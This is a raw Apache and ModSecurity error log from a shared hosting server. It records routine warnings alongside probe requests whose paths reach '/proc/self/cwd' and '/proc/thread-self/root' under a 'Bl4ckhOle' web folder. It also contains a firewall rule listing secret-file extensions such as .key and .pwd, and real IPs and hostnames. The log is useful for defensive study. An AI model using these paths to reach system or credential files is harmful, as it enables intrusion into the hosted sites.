[Fri Jul 17 09:23:36.841445 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almnQI1dLClkUfK_dfHpzAAAAAI"]
[Fri Jul 17 09:23:36.841757 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almnQI1dLClkUfK_dfHpzAAAAAI"]
[Fri Jul 17 09:23:36.863971 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:38.341130 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:40262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:38.574352 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:40288] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:40.071613 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:40354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:40.199970 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.265105 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almnQ614q1EBnanVMYGo4wAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1158&page_105=1913
[Fri Jul 17 09:23:40.265140 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almnQ614q1EBnanVMYGo4wAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1158&page_105=1913
[Fri Jul 17 09:23:40.285419 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.324756 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.437587 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.548257 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.649298 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.699229 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:40448] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:40.749228 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.855681 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:40.957946 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.158850 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.390923 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.489222 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.696247 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.699341 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.799317 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:41.906607 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.009794 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.116011 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.216995 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.316772 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.422756 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:35938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:42.422904 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.525187 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.625988 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.735917 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.829236 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:42.930795 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.035641 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.138985 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.239155 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.340128 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.441499 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.646498 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/efivars/uevent
[Fri Jul 17 09:23:43.749696 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.853443 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:43.956309 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.060528 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.160607 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.262942 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364511 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364607 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364637 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364657 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364676 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364695 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.364713 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.466760 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.567535 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.675532 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.776743 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.886287 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:44.987613 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.088001 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.188844 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.277889 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory5/node0/memory127/node0/memory84/"] [unique_id "almnSQRRrtuZqNDDSqW07AAAABo"]
[Fri Jul 17 09:23:45.277923 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory5/node0/memory127/node0/memory84/"] [unique_id "almnSQRRrtuZqNDDSqW07AAAABo"]
[Fri Jul 17 09:23:45.294197 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.491886 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.593153 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.694832 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.795583 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.895931 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.926366 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:36074] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:45.933799 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:45.997979 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.109110 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.206715 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.307986 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.416429 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.520382 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.622852 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.724934 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.825031 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.935271 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:46.948131 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 57.141.18.41:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory133/node0/memory129/subsystem/devices/memory97/node0/cpu1/crash_notes
[Fri Jul 17 09:23:47.035812 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.136826 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.282517 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.404682 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.459128 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.463886 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnS5BVIrrUwtEhdafWCQAAAAU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:23:47.463922 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnS5BVIrrUwtEhdafWCQAAAAU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:23:47.568239 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.668801 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.777869 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.808478 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:36220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:47.887389 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:47.988640 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.093049 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.206276 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.315832 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.421541 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.454503 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:36252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:48.525750 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.626239 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.734873 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.846375 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:48.946627 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.048657 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.150011 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.252822 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.353872 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.453898 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.575124 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.664525 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:49.866967 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.171022 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.273125 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.374711 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.406256 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:36358] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:50.474548 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.577704 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.579319 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:56/subsystem/tty36/"] [unique_id "almnThHlOGcokz2QIwTYQQAAAAM"]
[Fri Jul 17 09:23:50.579355 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:56/subsystem/tty36/"] [unique_id "almnThHlOGcokz2QIwTYQQAAAAM"]
[Fri Jul 17 09:23:50.781455 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.886330 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:50.960741 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory135/node0/memory7/node0/memory45/node0/memory84/power/"] [unique_id "almnTroj0IkvhSCYadmG9AAAAAQ"]
[Fri Jul 17 09:23:50.960775 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory135/node0/memory7/node0/memory45/node0/memory84/power/"] [unique_id "almnTroj0IkvhSCYadmG9AAAAAQ"]
[Fri Jul 17 09:23:50.988961 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:51.049607 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:51.090136 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:51.196461 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:51.358962 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:51.402845 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:52.936824 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:43738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:52.979142 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.165.10.194:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "kamecho.lk"] [uri "/robots.txt"] [unique_id "almnUPwooI4qY7Jg93pacwAAABM"]
[Fri Jul 17 09:23:52.979445 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.165.10.194:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "kamecho.lk"] [uri "/robots.txt"] [unique_id "almnUPwooI4qY7Jg93pacwAAABM"]
[Fri Jul 17 09:23:52.979793 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.165.10.194:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "kamecho.lk"] [uri "/robots.txt"] [unique_id "almnUPwooI4qY7Jg93pacwAAABM"]
[Fri Jul 17 09:23:53.852537 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:56.141607 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:56.149493 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:23:57.101589 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnVY1dLClkUfK_dfHp3QAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:23:57.101644 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnVY1dLClkUfK_dfHp3QAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:23:57.442088 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:43964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:57.770498 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:43988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:23:59.704551 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:44070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:01.419838 2026] [security2:error] [pid 2013797:tid 2013797] [client 200.75.178.240:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag 